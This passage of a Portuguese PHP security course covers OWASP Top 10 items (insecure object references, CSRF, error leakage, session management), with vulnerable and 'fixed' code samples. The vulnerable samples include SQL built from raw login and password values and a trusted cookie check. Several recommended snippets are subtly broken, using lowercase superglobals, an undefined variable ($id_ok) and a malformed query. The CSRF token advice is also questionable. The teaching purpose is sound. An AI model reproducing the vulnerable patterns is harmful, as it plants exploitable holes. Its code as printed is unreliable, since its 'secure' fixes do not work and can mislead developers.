29 Soluções Insuficientes Embora rotinas de controle de acesso (que veremos na prática à seguir) sejam indispensáveis para minimizar esta vulnerabilidade, elas não são suficientes por si só: é necessário, nos casos de referências à arquivos, por exemplo, um mapeamento indireto dos arquivos de forma à assegurar que o sistema de arquivos da máquina que roda a aplicação não seja exposto. Recomendações Utilize um processo de indexação/mapeamento dos objetos da aplicação, de forma que eles não sejam expostos diretamente. Valide referências indiretas à objetos, através de como de costume uma rotina de white list. Implemente uma rotina de controle de acesso, de forma à se assegurar de que o usuário só tenha acesso ao que lhe é devido. Recomendações PHP na prática <?php /* Código para acessar a base */ $sql = 'SELECT , site, foto FROM usuarios WHERE usuario_id = '. $conn->param('id'). ' AND usuario_id = '. $user->getid(). ' LIMIT 1'; $prep = $conn->prepare($sql); $resultado = $conn->execute($sql, array('id' => (int)$_get['uid'])); while (!$resultado->eof) { /* Código para gerar campos de formulário */ }?> Observe a pequena porém importantíssima modificação no código: o usuário, à partir deste momento, terá acesso apenas a página de modificação do seu próprio perfil by Er Galvão Abbott Página 29 / 52

30 Top 10 OWASP com PHP v. 1.0 rev :44:18 À seguir veremos duas abordagens distintas para o problema da referência direta à arquivos: Exemplo #1: <?php // Através de indexação indireta $idiomas = array('en', 'pt'); $idioma_ok = (int)$_get['idioma']; if (in_array($id_ok, array_keys($idiomas))) { require $idiomas[$id_ok]. '.php'; }?> Exemplo #2: <?php // Através de indexação indireta, com checagem via white list $idiomas = array('en', 'pt'); if (!preg_match('/^[0-9]{1}$/', $_GET['idioma'])) { die('arquivo não encontrado'); } else { if (in_array($_get['idioma'], array_keys($idiomas))) { require $idiomas[$_get['idioma']]. '.php'; } }?> Embora tecnicamente eficientes há uma diferença importante entre estas abordagens: O Exemplo #2 utiliza, explicitamente, a abordagem de white list para verficação se o dado recebido é, de fato numérico. O Exemplo #1 não faz, na prática, esta validação, porém 'força' a tipagem do dado para um número inteiro através da construção int. Isto significa que enquanto no Exemplo #2 um dado não-numérico será automaticamente barrado pela aplicação, o mesmo não ocorrerá no primeiro caso. O Exemplo #1 implementa uma espécie de rotina de fallback, onde dados nãonuméricos resultarão no seu equivalente numérico caso iniciem por um número ou no número 0 (zero) no caso de iniciarem por caracteres não-numéricos. É pelos motivos apresentados acima que a abordagem do exemplo #2 é, tecnicamente, a mais correta e segura by Er Galvão Abbott Página 30 / 52

31 Top 10 OWASP com PHP v. 1.0 rev :44:18 CSRF Cross Site Request Forgery O que é: Vulnerabilidades CSRF causam ataques devastadores: Ataques baseados nesta vulnerabilidade 'forçam' um browser de um usuário logado em uma aplicação a enviar uma requisição para uma aplicação vulnerável, que por sua vez executará uma ação em nome do usuário. Tipos conhecidos: Esta vulnerabilidade também é conhecida pelos nomes: Session Riding, One-click Attack, Cross Site Reference Forgery, Hostile Linking e Automation Attack. Também é conhecida pelo acrônimo XSRF, embora tanto o OWASP como a MITRE tenham chegado no consenso de utilizar o acrônimo CSRF e o nome Cross Site Request Forgery. Ambientes afetados: Todo e qualquer ambiente web. Detalhamento, Exemplos e Soluções: Uma das principais causas da existência desta vulnerabilidade é a confiança excessiva por parte da aplicação em credenciais de acesso automaticamente transmitidas, como um cookie de sessão, ou por permitir que credenciais de acesso sejam transmitidas por parâmetros de query string ou formulário sem checagens de segurança adicionais. Embora não sejam absolutamente necessárias para que ocorram falhas de CSRF, toda a aplicação vulnerável à XSS é, via de regra, um veículo para ataques baseados em CSRF, pois tags injetadas podem conter o direcionamento necessário para a aplicação vulnerável. Consequências possíveis Diversas. A consequência da exploração de uma vulnerabilidade CSRF está diretamente ligada ao tipo de ações possíveis na aplicação vulnerável by Er Galvão Abbott Página 31 / 52

32 Exemplo de código vulnerável Exemplo #1 Confiando em cookies <?php if (isset($_cookie['cliente_autenticado'])) { // Qualquer código de validação das informações contidas no cookie // Seguido do código que implementa um comportamento normal da aplicação // como se o usuário já estivesse autenticado. }?> É importante frisar que, embora o exemplo clássico desta vulnerabilidade esteja associado à confiança em cookies, mesmo as aplicações que não lidam com cookies ou sempre realizam a autenticação do usuário não são necessariamente seguras, embora sejam mais complexas de serem atacadas. Isto ocorre porque se as credenciais do usuário forem expostas por qualquer motivo, elas podem ser enviadas em uma requisição forjada para o script de autenticação, e consequentemente permitir uma ação em nome do usuário posteriormente. Soluções insuficientes Qualquer solução que não implemente uma checagem de segurança que se baseie em uma forte rotina de verificação que não seja disponível para o browser é, por definição, insuficiente. Recomendações Certifique-se de que sua aplicação não seja vulnerável à ataques XSS. Trabalhe com tokens específicos que não sejam armnazenados em nenhum meio como sessões, por exemplo que possibilite ao browser lembrá-los. Para ações extremamente delicadas, re-autentique o usuário. Não utilize o requisições GET para ações delicadas by Er Galvão Abbott Página 32 / 52

33 Recomendações PHP na prática O código-fonte necessário para a geração e manutenção de tokens seria longo demais para incluir nesse material. Sendo assim, este código será trabalhado, desde o começo e de forma prática, dentro de sala de aula. Seguiremos a seguinte lógica para desenvolver o código necessário: 1 Programaremos uma classe responsável por: 1.1 Gerar novos tokens 1.2 Armazenar tokens gerados em um RDBMS de forma à utilizá-los 1.3 Os tokens expirarão depois de um tempo pré-definido. 2 O script responsável por realizar a autenticação, por sua vez, não apenas checará pela validade do token, como fará com que ele expire automaticamente depois do seu uso. Observe-se que, embora a prática seja relativamente complexa, a teoria por trás disso é simples: o ponto crucial é que se utilize uma espécie de chave de validação que seja independente do browser e que não seja memorizado por nenhum mecanismo de armazenamento do lado cliente. Desta forma impedimos que um ataque que procura explorar vulnerabilidades CSRF tente transmitir automaticamente esta chave by Er Galvão Abbott Página 33 / 52

34 Vazamento de Informações e Tratamento de Erros Inapropriado O que é: Aplicações podem vazar informações sobre sua configuração e rotinas internas, devido à uma variedade de problemas. Elas também podem vazar informações sobre suas rotinas de processamento de estado através do tempo que demoram para processar requisições específicas ou como reagem à diferentes entradas de informação. Tipos conhecidos: - Ambientes afetados: Todo e qualquer ambiente web. Detalhamento, Exemplos e Soluções: Aplicações geralmente apresentam mensagens de erro para seus usuários. Frequentemente estas mensagens são úteis para um atacante, já que elas revelam detalhes de implementação ou informações que são úteis para a exploração de uma vulnerabilidade específica. Os exemplos mais comuns são: Tratamento de erro detalhado, onde a indução de um erro causa a exibição de muita informação, como falhas de queries SQL ou outras informações de debug. Funções que produzem resultados diferentes dependendo da entrada de dados. Por exemplo: uma função de autenticação deveria produzir exatamente a mesma mensagem de erro para os casos em que o usuário não existe e para quando a senha está incorreta. Consequências possíveis Comprometimento de toda a aplicação através do comprometimento de um dos componentes do backend, como o RDBMS, através da análise de mensagens de erros em falhas na execução de queries. Facilitação da exploração das demais vulnerabilidades expostas neste material by Er Galvão Abbott Página 34 / 52

35 Exemplo de código vulnerável <?php $conn = mysql_connect($host, $user, $senha); $sql = SELECT id FROM usuarios WHERE login='$login' AND senha='$senha' ; $resultado = mysql_query($sql) or die('erro ao executar a query: '. $sql); // Mais código padrão?> Exemplos de exploração Uma mensagem de erro retornada pela primeira linha, no caso de problemas no RDBMS, entregaria muitas informações importantes para um atacante: Warning: mysql_connect() [function.mysql-connect]: Access denied for user 'usuario'@'localhost' (using password: YES) in /home/galvao/workspace/topten/mysql_error.php on line 2 Observe-se que, se para invadirmos um RDBMS precisamos de três informações (endereço do servidor, usuário e senha), a mensagem de erro acima já nos disponibiliza duas destas. Soluções insuficientes É importante observar que o uso ou não da função die não representa um acréscimo de risco: esta função apenas nos permite interromper a execução do script e exibir uma mensagem de erro customizada. Embora ambas as coisas sejam interessantes no tratamento desta vulnerabilidade se a exibição de erros do interpretador PHP estiver ativada elas de nada adiantarão. Da mesma forma é importante que haja um planejamento cuidadoso da aplicação, em um ponto que é normalmente ignorado: o tratamento de erros específicos e que mensagens serão exibidas para o usuário by Er Galvão Abbott Página 35 / 52

36 Recomendações Certifique-se que toda a equipe de desenvolvimento possua uma política bem definida no tratamento de exceções. Todas as ações que passam pelo mesma rotina (por exemplo, autenticação) retornem a mesma mensagem de erro em caso de falha, e no mesmo tempo de execução. Quando trabalhamos com aplicações web existem normalmente diversos componentes envolvidos no desenvolvimento, como o RDBMS e o servidor Web, por exemplo, que podem retornar mensagens de erro para a aplicação. Certifiquese de que erros vindos de qualquer componente sejam devidamente tratados. Recomendações específicas para PHP Desative a exibição de mensagens de erro (display_errors) e ative o armazenamento das mensagens em arquivo (log_errors). Considere implementar um handler padrão para todo e qualquer erro (veja a seguir) by Er Galvão Abbott Página 36 / 52

37 Recomendações PHP na prática <?php class ErrorHandler { private static $errmsg; public static function displayerror($perrcode, $perrmsg, $perrfile, $perrline) { self::$errmsg = "Código: $perrcode\nmensagem: $perrmsg\narquivo: $perrfile\nlinha: $perrline"; echo "Ocorreu um erro. Por gentileza contate o administrador do sistema."; mail('galvao@galvao.eti.br', 'Erro no sistema', self::$errmsg); die(); } }?> <?php // Arquivo para ser incluído em todos os scripts require 'error_handler.class.php'; set_error_handler(array(errorhandler, 'displayerror'), E_ALL);?> 2009 by Er Galvão Abbott Página 37 / 52

38 Autenticação Falha e Gerenciamento de Sessão O que é: Vulnerabilidades desse tipo frequentemente envolvem a falha em proteger as credenciais de acesso do usuário e tokens de sessão. Basicamente, este item do Top 10 se refere não apenas aos problemas de sessão, mas também à questões epecíficas de autenticação. Tipos conhecidos: - Ambientes afetados: Todo e qualquer ambiente web. Detalhamento, Exemplos e Soluções: Falhas na rotina principal de autenticação não são incomuns, mas fraquezas relacionadas à estas vulnerabilidades geralmente são encontradas em funções auxiliares como logout, tempo de expiração, lembrete de senhas, atualização de contas de acesso e gerenciamento de senhas. Consequências possíveis Exposição de credenciais de acesso. Sequestro de contas de acesso. Violação de privacidade de usuários. Comprometimento da aplicação. Exemplo de código vulnerável As questões relacionadas à esta vulnerabilidade não podem ser demonstradas, à exemplo das demais, por exemplos clássicos. Sendo assim, veremos com maior foco a parte de recomendações e código PHP na prática by Er Galvão Abbott Página 38 / 52

39 Soluções insuficientes Sessões e rotinas de autenticação são assuntos frequentemente subestimados pelos desenvolvedores. Grande parte das rotinas de gerenciamento de sessões, por exemplo, não possuem uma preocupação em re-gerar o ID da sessão ou confiam na configuração/funcionalidade session.use_trans_sid, que acaba por expor o ID da sessão em links. Outro ponto frequentemente ignorado é o uso de HTTPS (HTTP Seguro) para transações delicadas. Recomendações Para autenticação sempre inicie por um formulário em uma página protegida por SSL. Utilize mecanismos de gerenciamento de sessões conhecidos, evite re-escrever funcionalidades que já são suportadas pela linguagem ou por um framework, por exemplo. Não aceite que IDs de sessão sejam passados como parâmetro, seja por query string ou formulário. Evite, se possível, usar rotinas de fixação de usuários autenticados, Utilize uma rotina única, fortemente protegida, de autenticação. Considere re-gerar o ID de sessão à cada autenticação ou mudança de privilégios de acesso. Disponibilize um link de logout em todas as páginas da aplicação. Lembre-se: a rotina de logout deve, obrigatoriamente, destruir todo e qualquer dado da sessão tanto do lado servidor quanto do lado cliente. Rotinas de logout devem ser simples, de forma que pedidos de confirmação, por exemplo, sejam evitados. Lembre-se: você pode perder tempo programando rotinas de confirmação de logout, mas o usuário nem sempre terá paciência pra fazer o mesmo. Utilize um período de tempo para automaticamente realizar o logout de sessões inativas (timeout). Dê preferência para esquemas de pergunta/resposta ou reset de senhas. Não confie em dados que podem ser forjados como Endereços IP ou partes deste (como verificar endereços IP de uma intranet, por exemplo), DNS, referrers ou similares como única forma de autenticação by Er Galvão Abbott Página 39 / 52